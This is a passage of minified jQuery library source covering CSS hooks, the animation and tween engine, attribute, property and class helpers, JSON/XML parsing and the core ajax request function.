}), l.opacity || (n.cssHooks.opacity = {
get: function(a, b) {
return Ob.test((b && a.currentStyle ? a.currentStyle.filter : a.style.filter) || "") ? .01 * parseFloat(RegExp.$1) + "" : b ? "1" : ""
},
set: function(a, b) {
var c = a.style,
d = a.currentStyle,
e = n.isNumeric(b) ? "alpha(opacity=" + 100 * b + ")" : "",
f = d && d.filter || c.filter || "";
c.zoom = 1, (b >= 1 || "" === b) && "" === n.trim(f.replace(bg, "")) && c.removeAttribute && (c.removeAttribute("filter"), "" === b || d && !d.filter) || (c.filter = bg.test(f) ? f.replace(bg, e) : f + " " + e)
}
}), n.cssHooks.marginRight = Mb(l.reliableMarginRight, function(a, b) {
return b ? n.swap(a, {
display: "inline-block"
}, Kb, [a, "marginRight"]) : void 0
}), n.each({
margin: "",
padding: "",
border: "Width"
}, function(a, b) {
n.cssHooks[a + b] = {
expand: function(c) {
for (var d = 0, e = {}, f = "string" == typeof c ? c.split(" ") : [c]; 4 > d; d++) e[a + U[d] + b] = f[d] || f[d - 2] || f[0];
return e
}
}, bf.test(a) || (n.cssHooks[a + b].set = Xb)
}), n.fn.extend({
css: function(a, b) {
return W(this, function(a, b, c) {
var d, e, f = {},
g = 0;
if (n.isArray(b)) {
for (d = Jb(a), e = b.length; e > g; g++) f[b[g]] = n.css(a, b[g], !1, d);
return f
}
return void 0 !== c ? n.style(a, b, c) : n.css(a, b)
}, a, b, arguments.length > 1)
},
show: function() {
return Wb(this, !0)
},
hide: function() {
return Wb(this)
},
toggle: function(a) {
return "boolean" == typeof a ? a ? this.show() : this.hide() : this.each(function() {
V(this) ? n(this).show() : n(this).hide()
})
}
});

function $b(a, b, c, d, e) {
return new $b.prototype.init(a, b, c, d, e)
}
n.Tween = $b, $b.prototype = {
constructor: $b,
init: function(a, b, c, d, e, f) {
this.elem = a, this.prop = c, this.easing = e || "swing", this.options = b, this.start = this.now = this.cur(), this.end = d, this.unit = f || (n.cssNumber[c] ? "" : "px")
},
cur: function() {
var a = $b.propHooks[this.prop];
return a && a.get ? a.get(this) : $b.propHooks._default.get(this)
},
run: function(a) {
var b, c = $b.propHooks[this.prop];
return this.pos = b = this.options.duration ? n.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : a, this.now = (this.end - this.start) * b + this.start, this.options.step && this.options.step.call(this.elem, this.now, this), c && c.set ? c.set(this) : $b.propHooks._default.set(this), this
}
}, $b.prototype.init.prototype = $b.prototype, $b.propHooks = {
_default: {
get: function(a) {
var b;
return null == a.elem[a.prop] || a.elem.style && null != a.elem.style[a.prop] ? (b = n.css(a.elem, a.prop, ""), b && "auto" !== b ? b : 0) : a.elem[a.prop]
},
set: function(a) {
n.fx.step[a.prop] ? n.fx.step[a.prop](a) : a.elem.style && (null != a.elem.style[n.cssProps[a.prop]] || n.cssHooks[a.prop]) ? n.style(a.elem, a.prop, a.now + a.unit) : a.elem[a.prop] = a.now
}
}
}, $b.propHooks.scrollTop = $b.propHooks.scrollLeft = {
set: function(a) {
a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now)
}
}, n.easing = {
linear: function(a) {
return a
},
swing: function(a) {
return .5 - Math.cos(a * Math.PI) / 2
}
}, n.fx = $b.prototype.init, n.fx.step = {};
var bh, ac, bc = /^(?:toggle|show|hide)$/,
cc = new RegExp("^(?:([+-])=|)(" + T + ")([a-z%]*)$", "i"),
dc = /queueHooks$/,
ec = [jc],
fc = {
"*": [function(a, b) {
var c = this.createTween(a, b),
d = c.cur(),
e = cc.exec(b),
f = e && e[3] || (n.cssNumber[a] ? "" : "px"),
g = (n.cssNumber[a] || "px" !== f && +d) && cc.exec(n.css(c.elem, a)),
h = 1,
i = 20;
if (g && g[3] !== f) {
f = f || g[3], e = e || [], g = +d || 1;
do h = h || ".5", g /= h, n.style(c.elem, a, g + f); while (h !== (h = c.cur() / d) && 1 !== h && --i)
}
return e && (g = c.start = +g || +d || 0, c.unit = f, c.end = e[1] ? g + (e[1] + 1) * e[2] : +e[2]), c
}]
};

function gc() {
return setTimeout(function() {
bh = void 0
}), bh = n.now()
}

function hc(a, b) {
var c, d = {
height: a
},
e = 0;
for (b = b ? 1 : 0; 4 > e; e += 2 - b) c = U[e], d["margin" + c] = d["padding" + c] = a;
return b && (d.opacity = d.width = a), d
}

function ic(a, b, c) {
for (var d, e = (fc[b] || []).concat(fc["*"]), f = 0, g = e.length; g > f; f++)
if (d = e[f].call(c, b, a)) return d
}

function jc(a, b, c) {
var d, e, f, g, h, i, j, k, m = this,
o = {},
p = a.style,
q = a.nodeType && V(a),
r = n._data(a, "fxshow");
c.queue || (h = n._queueHooks(a, "fx"), null == h.unqueued && (h.unqueued = 0, i = h.empty.fire, h.empty.fire = function() {
h.unqueued || i()
}), h.unqueued++, m.always(function() {
m.always(function() {
h.unqueued--, n.queue(a, "fx").length || h.empty.fire()
})
})), 1 === a.nodeType && ("height" in b || "width" in b) && (c.overflow = [p.overflow, p.overflowX, p.overflowY], j = n.css(a, "display"), k = Gb(a.nodeName), "none" === j && (j = k), "inline" === j && "none" === n.css(a, "float") && (l.inlineBlockNeedsLayout && "inline" !== k ? p.zoom = 1 : p.display = "inline-block")), c.overflow && (p.overflow = "hidden", l.shrinkWrapBlocks() || m.always(function() {
p.overflow = c.overflow[0], p.overflowX = c.overflow[1], p.overflowY = c.overflow[2]
}));
for (d in b)
if (e = b[d], bc.exec(e)) {
if (delete b[d], f = f || "toggle" === e, e === (q ? "hide" : "show")) {
if ("show" !== e || !r || void 0 === r[d]) continue;
q = !0
}
o[d] = r && r[d] || n.style(a, d)
}
if (!n.isEmptyObject(o)) {
r ? "hidden" in r && (q = r.hidden) : r = n._data(a, "fxshow", {}), f && (r.hidden = !q), q ? n(a).show() : m.done(function() {
n(a).hide()
}), m.done(function() {
var b;
n._removeData(a, "fxshow");
for (b in o) n.style(a, b, o[b])
});
for (d in o) g = ic(q ? r[d] : 0, d, m), d in r || (r[d] = g.start, q && (g.end = g.start, g.start = "width" === d || "height" === d ? 1 : 0))
}
}

function kc(a, b) {
var c, d, e, f, g;
for (c in a)
if (d = n.camelCase(c), e = b[d], f = a[c], n.isArray(f) && (e = f[1], f = a[c] = f[0]), c !== d && (a[d] = f, delete a[c]), g = n.cssHooks[d], g && "expand" in g) {
f = g.expand(f), delete a[d];
for (c in f) c in a || (a[c] = f[c], b[c] = e)
} else b[d] = e
}

function lc(a, b, c) {
var d, e, f = 0,
g = ec.length,
h = n.Deferred().always(function() {
delete i.elem
}),
i = function() {
if (e) return !1;
for (var b = bh || gc(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; i > g; g++) j.tweens[g].run(f);
return h.notifyWith(a, [j, f, c]), 1 > f && i ? c : (h.resolveWith(a, [j]), !1)
},
j = h.promise({
elem: a,
props: n.extend({}, b),
opts: n.extend(!0, {
specialEasing: {}
}, c),
originalProperties: b,
originalOptions: c,
startTime: bh || gc(),
duration: c.duration,
tweens: [],
createTween: function(b, c) {
var d = n.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing);
return j.tweens.push(d), d
},
stop: function(b) {
var c = 0,
d = b ? j.tweens.length : 0;
if (e) return this;
for (e = !0; d > c; c++) j.tweens[c].run(1);
return b ? h.resolveWith(a, [j, b]) : h.rejectWith(a, [j, b]), this
}
}),
k = j.props;
for (kc(k, j.opts.specialEasing); g > f; f++)
if (d = ec[f].call(j, a, k, j.opts)) return d;
return n.map(k, ic, j), n.isFunction(j.opts.start) && j.opts.start.call(a, j), n.fx.timer(n.extend(i, {
elem: a,
anim: j,
queue: j.opts.queue
})), j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always)
}
n.Animation = n.extend(lc, {
tweener: function(a, b) {
n.isFunction(a) ? (b = a, a = ["*"]) : a = a.split(" ");
for (var c, d = 0, e = a.length; e > d; d++) c = a[d], fc[c] = fc[c] || [], fc[c].unshift(b)
},
prefilter: function(a, b) {
b ? ec.unshift(a) : ec.push(a)
}
}), n.speed = function(a, b, c) {
var d = a && "object" == typeof a ? n.extend({}, a) : {
complete: c || !c && b || n.isFunction(a) && a,
duration: a,
easing: c && b || b && !n.isFunction(b) && b
};
return d.duration = n.fx.off ? 0 : "number" == typeof d.duration ? d.duration : d.duration in n.fx.speeds ? n.fx.speeds[d.duration] : n.fx.speeds._default, (null == d.queue || d.queue === !0) && (d.queue = "fx"), d.old = d.complete, d.complete = function() {
n.isFunction(d.old) && d.old.call(this), d.queue && n.dequeue(this, d.queue)
}, d
}, n.fn.extend({
fadeTo: function(a, b, c, d) {
return this.filter(V).css("opacity", 0).show().end().animate({
opacity: b
}, a, c, d)
},
animate: function(a, b, c, d) {
var e = n.isEmptyObject(a),
f = n.speed(b, c, d),
g = function() {
var b = lc(this, n.extend({}, a), f);
(e || n._data(this, "finish")) && b.stop(!0)
};
return g.finish = g, e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g)
},
stop: function(a, b, c) {
var d = function(a) {
var b = a.stop;
delete a.stop, b(c)
};
return "string" != typeof a && (c = b, b = a, a = void 0), b && a !== !1 && this.queue(a || "fx", []), this.each(function() {
var b = !0,
e = null != a && a + "queueHooks",
f = n.timers,
g = n._data(this);
if (e) g[e] && g[e].stop && d(g[e]);
else
for (e in g) g[e] && g[e].stop && dc.test(e) && d(g[e]);
for (e = f.length; e--;) f[e].elem !== this || null != a && f[e].queue !== a || (f[e].anim.stop(c), b = !1, f.splice(e, 1));
(b || !c) && n.dequeue(this, a)
})
},
finish: function(a) {
return a !== !1 && (a = a || "fx"), this.each(function() {
var b, c = n._data(this),
d = c[a + "queue"],
e = c[a + "queueHooks"],
f = n.timers,
g = d ? d.length : 0;
for (c.finish = !0, n.queue(this, a, []), e && e.stop && e.stop.call(this, !0), b = f.length; b--;) f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0), f.splice(b, 1));
for (b = 0; g > b; b++) d[b] && d[b].finish && d[b].finish.call(this);
delete c.finish
})
}
}), n.each(["toggle", "show", "hide"], function(a, b) {
var c = n.fn[b];
n.fn[b] = function(a, d, e) {
return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(hc(b, !0), a, d, e)
}
}), n.each({
slideDown: hc("show"),
slideUp: hc("hide"),
slideToggle: hc("toggle"),
fadeIn: {
opacity: "show"
},
fadeOut: {
opacity: "hide"
},
fadeToggle: {
opacity: "toggle"
}
}, function(a, b) {
n.fn[a] = function(a, c, d) {
return this.animate(b, a, c, d)
}
}), n.timers = [], n.fx.tick = function() {
var a, b = n.timers,
c = 0;
for (bh = n.now(); c < b.length; c++) a = b[c], a() || b[c] !== a || b.splice(c--, 1);
b.length || n.fx.stop(), bh = void 0
}, n.fx.timer = function(a) {
n.timers.push(a), a() ? n.fx.start() : n.timers.pop()
}, n.fx.interval = 13, n.fx.start = function() {
ac || (ac = setInterval(n.fx.tick, n.fx.interval))
}, n.fx.stop = function() {
clearInterval(ac), ac = null
}, n.fx.speeds = {
slow: 600,
fast: 200,
_default: 400
}, n.fn.delay = function(a, b) {
return a = n.fx ? n.fx.speeds[a] || a : a, b = b || "fx", this.queue(b, function(b, c) {
var d = setTimeout(b, a);
c.stop = function() {
clearTimeout(d)
}
})
},
function() {
var a, b, c, d, e = z.createElement("div");
e.setAttribute("className", "t"), e.innerHTML = " 	<link/>
<table></table>
<a href='/a'>a</a><input type='checkbox'/>", a = e.getElementsByTagName("a")[0], c = z.createElement("select"), d = c.appendChild(z.createElement("option")), b = e.getElementsByTagName("input")[0], a.style.cssText = "top:1px", l.getSetAttribute = "t" !== e.className, l.style = /top/.test(a.getAttribute("style")), l.hrefNormalized = "/a" === a.getAttribute("href"), l.checkOn = !!b.value, l.optSelected = d.selected, l.enctype = !!z.createElement("form").enctype, c.disabled = !0, l.optDisabled = !d.disabled, b = z.createElement("input"), b.setAttribute("value", ""), l.input = "" === b.getAttribute("value"), b.value = "t", b.setAttribute("type", "radio"), l.radioValue = "t" === b.value, a = b = c = d = e = null
}();
var bi = /\r/g;
n.fn.extend({
val: function(a) {
var b, c, d, e = this[0]; {
if (arguments.length) return d = n.isFunction(a), this.each(function(c) {
var e;
1 === this.nodeType && (e = d ? a.call(this, c, n(this).val()) : a, null == e ? e = "" : "number" == typeof e ? e += "" : n.isArray(e) && (e = n.map(e, function(a) {
return null == a ? "" : a + ""
})), b = n.valHooks[this.type] || n.valHooks[this.nodeName.toLowerCase()], b && "set" in b && void 0 !== b.set(this, e, "value") || (this.value = e))
});
if (e) return b = n.valHooks[e.type] || n.valHooks[e.nodeName.toLowerCase()], b && "get" in b && void 0 !== (c = b.get(e, "value")) ? c : (c = e.value, "string" == typeof c ? c.replace(bi, "") : null == c ? "" : c)
}
}
}), n.extend({
valHooks: {
option: {
get: function(a) {
var b = n.find.attr(a, "value");
return null != b ? b : n.text(a)
}
},
select: {
get: function(a) {
for (var b, c, d = a.options, e = a.selectedIndex, f = "select-one" === a.type || 0 > e, g = f ? null : [], h = f ? e + 1 : d.length, i = 0 > e ? h : f ? e : 0; h > i; i++)
if (c = d[i], !(!c.selected && i !== e || (l.optDisabled ? c.disabled : null !== c.getAttribute("disabled")) || c.parentNode.disabled && n.nodeName(c.parentNode, "optgroup"))) {
if (b = n(c).val(), f) return b;
g.push(b)
}
return g
},
set: function(a, b) {
var c, d, e = a.options,
f = n.makeArray(b),
g = e.length;
while (g--)
if (d = e[g], n.inArray(n.valHooks.option.get(d), f) >= 0) try {
d.selected = c = !0
} catch (h) {
d.scrollHeight
} else d.selected = !1;
return c || (a.selectedIndex = -1), e
}
}
}
}), n.each(["radio", "checkbox"], function() {
n.valHooks[this] = {
set: function(a, b) {
return n.isArray(b) ? a.checked = n.inArray(n(a).val(), b) >= 0 : void 0
}
}, l.checkOn || (n.valHooks[this].get = function(a) {
return null === a.getAttribute("value") ? "on" : a.value
})
});
var bj, oc, pc = n.expr.attrHandle,
qc = /^(?:checked|selected)$/i,
rc = l.getSetAttribute,
sc = l.input;
n.fn.extend({
attr: function(a, b) {
return W(this, n.attr, a, b, arguments.length > 1)
},
removeAttr: function(a) {
return this.each(function() {
n.removeAttr(this, a)
})
}
}), n.extend({
attr: function(a, b, c) {
var d, e, f = a.nodeType;
if (a && 3 !== f && 8 !== f && 2 !== f) return typeof a.getAttribute === L ? n.prop(a, b, c) : (1 === f && n.isXMLDoc(a) || (b = b.toLowerCase(), d = n.attrHooks[b] || (n.expr.match.bool.test(b) ? oc : bj)), void 0 === c ? d && "get" in d && null !== (e = d.get(a, b)) ? e : (e = n.find.attr(a, b), null == e ? void 0 : e) : null !== c ? d && "set" in d && void 0 !== (e = d.set(a, c, b)) ? e : (a.setAttribute(b, c + ""), c) : void n.removeAttr(a, b))
},
removeAttr: function(a, b) {
var c, d, e = 0,
f = b && b.match(F);
if (f && 1 === a.nodeType)
while (c = f[e++]) d = n.propFix[c] || c, n.expr.match.bool.test(c) ? sc && rc || !qc.test(c) ? a[d] = !1 : a[n.camelCase("default-" + c)] = a[d] = !1 : n.attr(a, c, ""), a.removeAttribute(rc ? c : d)
},
attrHooks: {
type: {
set: function(a, b) {
if (!l.radioValue && "radio" === b && n.nodeName(a, "input")) {
var c = a.value;
return a.setAttribute("type", b), c && (a.value = c), b
}
}
}
}
}), oc = {
set: function(a, b, c) {
return b === !1 ? n.removeAttr(a, c) : sc && rc || !qc.test(c) ? a.setAttribute(!rc && n.propFix[c] || c, c) : a[n.camelCase("default-" + c)] = a[c] = !0, c
}
}, n.each(n.expr.match.bool.source.match(/\w+/g), function(a, b) {
var c = pc[b] || n.find.attr;
pc[b] = sc && rc || !qc.test(b) ? function(a, b, d) {
var e, f;
return d || (f = pc[b], pc[b] = e, e = null != c(a, b, d) ? b.toLowerCase() : null, pc[b] = f), e
} : function(a, b, c) {
return c ? void 0 : a[n.camelCase("default-" + b)] ? b.toLowerCase() : null
}
}), sc && rc || (n.attrHooks.value = {
set: function(a, b, c) {
return n.nodeName(a, "input") ? void(a.defaultValue = b) : bj && bj.set(a, b, c)
}
}), rc || (bj = {
set: function(a, b, c) {
var d = a.getAttributeNode(c);
return d || a.setAttributeNode(d = a.ownerDocument.createAttribute(c)), d.value = b += "", "value" === c || b === a.getAttribute(c) ? b : void 0
}
}, pc.id = pc.name = pc.coords = function(a, b, c) {
var d;
return c ? void 0 : (d = a.getAttributeNode(b)) && "" !== d.value ? d.value : null
}, n.valHooks.button = {
get: function(a, b) {
var c = a.getAttributeNode(b);
return c && c.specified ? c.value : void 0
},
set: bj.set
}, n.attrHooks.contenteditable = {
set: function(a, b, c) {
bj.set(a, "" === b ? !1 : b, c)
}
}, n.each(["width", "height"], function(a, b) {
n.attrHooks[b] = {
set: function(a, c) {
return "" === c ? (a.setAttribute(b, "auto"), c) : void 0
}
}
})), l.style || (n.attrHooks.style = {
get: function(a) {
return a.style.cssText || void 0
},
set: function(a, b) {
return a.style.cssText = b + ""
}
});
var bk = /^(?:input|select|textarea|button|object)$/i,
uc = /^(?:a|area)$/i;
n.fn.extend({
prop: function(a, b) {
return W(this, n.prop, a, b, arguments.length > 1)
},
removeProp: function(a) {
return a = n.propFix[a] || a, this.each(function() {
try {
this[a] = void 0, delete this[a]
} catch (b) {}
})
}
}), n.extend({
propFix: {
"for": "htmlFor",
"class": "className"
},
prop: function(a, b, c) {
var d, e, f, g = a.nodeType;
if (a && 3 !== g && 8 !== g && 2 !== g) return f = 1 !== g || !n.isXMLDoc(a), f && (b = n.propFix[b] || b, e = n.propHooks[b]), void 0 !== c ? e && "set" in e && void 0 !== (d = e.set(a, c, b)) ? d : a[b] = c : e && "get" in e && null !== (d = e.get(a, b)) ? d : a[b]
},
propHooks: {
tabIndex: {
get: function(a) {
var b = n.find.attr(a, "tabindex");
return b ? parseInt(b, 10) : bk.test(a.nodeName) || uc.test(a.nodeName) && a.href ? 0 : -1
}
}
}
}), l.hrefNormalized || n.each(["href", "src"], function(a, b) {
n.propHooks[b] = {
get: function(a) {
return a.getAttribute(b, 4)
}
}
}), l.optSelected || (n.propHooks.selected = {
get: function(a) {
var b = a.parentNode;
return b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex), null
}
}), n.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
n.propFix[this.toLowerCase()] = this
}), l.enctype || (n.propFix.enctype = "encoding");
var bl = /[\t\r\n\f]/g;
n.fn.extend({
addClass: function(a) {
var b, c, d, e, f, g, h = 0,
i = this.length,
j = "string" == typeof a && a;
if (n.isFunction(a)) return this.each(function(b) {
n(this).addClass(a.call(this, b, this.className))
});
if (j)
for (b = (a || "").match(F) || []; i > h; h++)
if (c = this[h], d = 1 === c.nodeType && (c.className ? (" " + c.className + " ").replace(bl, " ") : " ")) {
f = 0;
while (e = b[f++]) d.indexOf(" " + e + " ") < 0 && (d += e + " ");
g = n.trim(d), c.className !== g && (c.className = g)
}
return this
},
removeClass: function(a) {
var b, c, d, e, f, g, h = 0,
i = this.length,
j = 0 === arguments.length || "string" == typeof a && a;
if (n.isFunction(a)) return this.each(function(b) {
n(this).removeClass(a.call(this, b, this.className))
});
if (j)
for (b = (a || "").match(F) || []; i > h; h++)
if (c = this[h], d = 1 === c.nodeType && (c.className ? (" " + c.className + " ").replace(bl, " ") : "")) {
f = 0;
while (e = b[f++])
while (d.indexOf(" " + e + " ") >= 0) d = d.replace(" " + e + " ", " ");
g = a ? n.trim(d) : "", c.className !== g && (c.className = g)
}
return this
},
toggleClass: function(a, b) {
var c = typeof a;
return "boolean" == typeof b && "string" === c ? b ? this.addClass(a) : this.removeClass(a) : this.each(n.isFunction(a) ? function(c) {
n(this).toggleClass(a.call(this, c, this.className, b), b)
} : function() {
if ("string" === c) {
var b, d = 0,
e = n(this),
f = a.match(F) || [];
while (b = f[d++]) e.hasClass(b) ? e.removeClass(b) : e.addClass(b)
} else(c === L || "boolean" === c) && (this.className && n._data(this, "__className__", this.className), this.className = this.className || a === !1 ? "" : n._data(this, "__className__") || "")
})
},
hasClass: function(a) {
for (var b = " " + a + " ", c = 0, d = this.length; d > c; c++)
if (1 === this[c].nodeType && (" " + this[c].className + " ").replace(bl, " ").indexOf(b) >= 0) return !0;
return !1
}
}), n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "), function(a, b) {
n.fn[b] = function(a, c) {
return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b)
}
}), n.fn.extend({
hover: function(a, b) {
return this.mouseenter(a).mouseleave(b || a)
},
bind: function(a, b, c) {
return this.on(a, null, b, c)
},
unbind: function(a, b) {
return this.off(a, null, b)
},
delegate: function(a, b, c, d) {
return this.on(b, a, c, d)
},
undelegate: function(a, b, c) {
return 1 === arguments.length ? this.off(a, "**") : this.off(b, a || "**", c)
}
});
var bm = n.now(),
xc = /\?/,
yc = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
n.parseJSON = function(b) {
if (a.JSON && a.JSON.parse) return a.JSON.parse(b + "");
var c, d = null,
e = n.trim(b + "");
return e && !n.trim(e.replace(yc, function(a, b, e, f) {
return c && b && (d = 0), 0 === d ? a : (c = e || b, d += !f - !e, "")
})) ? Function("return " + e)() : n.error("Invalid JSON: " + b)
}, n.parseXML = function(b) {
var c, d;
if (!b || "string" != typeof b) return null;
try {
a.DOMParser ? (d = new DOMParser, c = d.parseFromString(b, "text/xml")) : (c = new ActiveXObject("Microsoft.XMLDOM"), c.async = "false", c.loadXML(b))
} catch (e) {
c = void 0
}
return c && c.documentElement && !c.getElementsByTagName("parsererror").length || n.error("Invalid XML: " + b), c
};
var bn, Ac, Bc = /#.*$/,
Cc = /([?&])_=[^&]*/,
Dc = /^(.*?):[ \t]*([^\r\n]*)\r?$/gm,
Ec = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
Fc = /^(?:GET|HEAD)$/,
Gc = /^\/\//,
Hc = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
Ic = {},
Jc = {},
Kc = "*/".concat("*");
try {
Ac = location.href
} catch (Lc) {
Ac = z.createElement("a"), Ac.href = "", Ac = Ac.href
}
bn = Hc.exec(Ac.toLowerCase()) || [];

function Mc(a) {
return function(b, c) {
"string" != typeof b && (c = b, b = "*");
var d, e = 0,
f = b.toLowerCase().match(F) || [];
if (n.isFunction(c))
while (d = f[e++]) "+" === d.charAt(0) ? (d = d.slice(1) || "*", (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c)
}
}

function Nc(a, b, c, d) {
var e = {},
f = a === Jc;

function g(h) {
var i;
return e[h] = !0, n.each(a[h] || [], function(a, h) {
var j = h(b, c, d);
return "string" != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j), g(j), !1)
}), i
}
return g(b.dataTypes[0]) || !e["*"] && g("*")
}

function Oc(a, b) {
var c, d, e = n.ajaxSettings.flatOptions || {};
for (d in b) void 0 !== b[d] && ((e[d] ? a : c || (c = {}))[d] = b[d]);
return c && n.extend(!0, a, c), a
}

function Pc(a, b, c) {
var d, e, f, g, h = a.contents,
i = a.dataTypes;
while ("*" === i[0]) i.shift(), void 0 === e && (e = a.mimeType || b.getResponseHeader("Content-Type"));
if (e)
for (g in h)
if (h[g] && h[g].test(e)) {
i.unshift(g);
break
}
if (i[0] in c) f = i[0];
else {
for (g in c) {
if (!i[0] || a.converters[g + " " + i[0]]) {
f = g;
break
}
d || (d = g)
}
f = f || d
}
return f ? (f !== i[0] && i.unshift(f), c[f]) : void 0
}

function Qc(a, b, c, d) {
var e, f, g, h, i, j = {},
k = a.dataTypes.slice();
if (k[1])
for (g in a.converters) j[g.toLowerCase()] = a.converters[g];
f = k.shift();
while (f)
if (a.responseFields[f] && (c[a.responseFields[f]] = b), !i && d && a.dataFilter && (b = a.dataFilter(b, a.dataType)), i = f, f = k.shift())
if ("*" === f) f = i;
else if ("*" !== i && i !== f) {
if (g = j[i + " " + f] || j["* " + f], !g)
for (e in j)
if (h = e.split(" "), h[1] === f && (g = j[i + " " + h[0]] || j["* " + h[0]])) {
g === !0 ? g = j[e] : j[e] !== !0 && (f = h[0], k.unshift(h[1]));
break
}
if (g !== !0)
if (g && a["throws"]) b = g(b);
else try {
b = g(b)
} catch (l) {
return {
state: "parsererror",
error: g ? l : "No conversion from " + i + " to " + f
}
}
}
return {
state: "success",
data: b
}
}
n.extend({
active: 0,
lastModified: {},
etag: {},
ajaxSettings: {
url: Ac,
type: "GET",
isLocal: Ec.test(bn[1]),
global: !0,
processData: !0,
async: !0,
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
accepts: {
"*": Kc,
text: "text/plain",
html: "text/html",
xml: "application/xml, text/xml",
json: "application/json, text/javascript"
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText",
json: "responseJSON"
},
converters: {
"* text": String,
"text html": !0,
"text json": n.parseJSON,
"text xml": n.parseXML
},
flatOptions: {
url: !0,
context: !0
}
},
ajaxSetup: function(a, b) {
return b ? Oc(Oc(a, n.ajaxSettings), b) : Oc(n.ajaxSettings, a)
},
ajaxPrefilter: Mc(Ic),
ajaxTransport: Mc(Jc),
ajax: function(a, b) {
"object" == typeof a && (b = a, a = void 0), b = b || {};
var c, d, e, f, g, h, i, j, k = n.ajaxSetup({}, b),
l = k.context || k,
m = k.context && (l.nodeType || l.jquery) ? n(l) : n.event,
o = n.Deferred(),
p = n.Callbacks("once memory"),
q = k.statusCode || {},
r = {},
s = {},
t = 0,
u = "canceled",
v = {
readyState: 0,
getResponseHeader: function(a) {
var b;
if (2 === t) {
if (!j) {
j = {};
while (b = Dc.exec(f)) j[b[1].toLowerCase()] = b[2]
}
b = j[a.toLowerCase()]
}
return null == b ? null : b
},
getAllResponseHeaders: function() {
return 2 === t ? f : null
},
setRequestHeader: function(a, b) {
var c = a.toLowerCase();
return t || (a = s[c] = s[c] || a, r[a] = b), this
},
overrideMimeType: function(a) {
return t || (k.mimeType = a), this
},
statusCode: function(a) {
var b;
if (a)
if (2 > t)
for (b in a) q[b] = [q[b], a[b]];
else v.always(a[v.status]);
return this
},
abort: function(a) {
var b = a || u;
return i && i.abort(b), x(0, b), this
}
};
if (o.promise(v).complete = p.add, v.success = v.done, v.error = v.fail, k.url = ((a || k.url || Ac) + "").replace(Bc, "").replace(Gc, bn[1] + "//"), k.type = b.method || b.type || k.method || k.type, k.dataTypes = n.trim(k.dataType || "*").toLowerCase().match(F) || [""], null == k.crossDomain && (c = Hc.exec(k.url.toLowerCase()), k.crossDomain = !(!c || c[1] === bn[1] && c[2] === bn[2] && (c[3] || ("http:" === c[1] ? "80" : "443")) === (bn[3] || ("http:" === bn[1] ? "80" : "443")))), k.data && k.processData && "string" != typeof k.data && (k.data = n.param(k.data, k.traditional)), Nc(Ic, k, b, v), 2 === t) return v;
h = k.global, h && 0 === n.active++ && n.event.trigger("ajaxStart"), k.type = k.type.toUpperCase(), k.hasContent = !Fc.test(k.type), e = k.url, k.hasContent || (k.data && (e = k.url += (xc.test(e) ? "&" : "?") + k.data, delete k.data), k.cache === !1 && (k.url = Cc.test(e) ? e.replace(Cc, "$1_=" + bm++) : e + (xc.test(e) ? "&" : "?") + "_=" + bm++)), k.ifModified && (n.lastModified[e] && v.setRequestHeader("If-Modified-Since", n.lastModified[e]), n.etag[e] && v.setRequestHeader("If-None-Match", n.etag[e])), (k.data && k.hasContent && k.contentType !== !1 || b.contentType) && v.setRequestHeader("Content-Type", k.contentType), v.setRequestHeader("Accept", k.dataTypes[0] && k.accepts[k.dataTypes[0]] ? k.accepts[k.dataTypes[0]] + ("*" !== k.dataTypes[0] ? ", " + Kc + "; q=0.01" : "") : k.accepts["*"]);
for (d in k.headers) v.setRequestHeader(d, k.headers[d]);
if (k.beforeSend && (k.beforeSend.call(l, v, k) === !1 || 2 === t)) return v.abort();
u = "abort";
for (d in {
success: 1,
error: 1,
complete: 1
}) v[d](k[d]);
if (i = Nc(Jc, k, b, v)) {
v.readyState = 1, h && m.trigger("ajaxSend", [v, k]), k.async && k.timeout > 0 && (g = setTimeout(function() {
v.abort("timeout")
}, k.timeout));
try {
t = 1, i.send(r, x)
} catch (w) {
if (!(2 > t)) throw w;
x(-1, w)
}
} else x(-1, "No Transport");

function x(a, b, c, d) {
var j, r, s, u, w, x = b;
2 !== t && (t = 2, g && clearTimeout(g), i = void 0, f = d || "", v.readyState = a > 0 ? 4 : 0, j = a >= 200 && 300 > a || 304 === a, c && (u = Pc(k, v, c)), u = Qc(k, u, v, j), j ? (k.ifModified && (w = v.getResponseHeader("Last-Modified"), w && (n.lastModified[e] = w), w = v.getResponseHeader("etag"), w && (n.etag[e] = w)), 204 === a || "HEAD" === k.type ? x = "nocontent" : 304 === a ? x = "notmodified" : (x = u.state, r = u.data, s = u.error, j = !s)) : (s = x, (a || !x) && (x = "error", 0 > a && (a = 0))), v.status = a, v.statusText = (b || x) + "", j ? o.resolveWith(l, [r, x, v]) : o.rejectWith(l, [v, x, s]), v.statusCode(q), q = void 0, h && m.trigger(j ? "ajaxSuccess" : "ajaxError", [v, k, j ? r : s]), p.fireWith(l, [v, x]), h && (m.trigger("ajaxComplete", [v, k]), --n.active || n.event.trigger("ajaxStop")))
}
return v
},
getJSON: function(a, b, c) {
return n.get(a, b, c, "json")
},
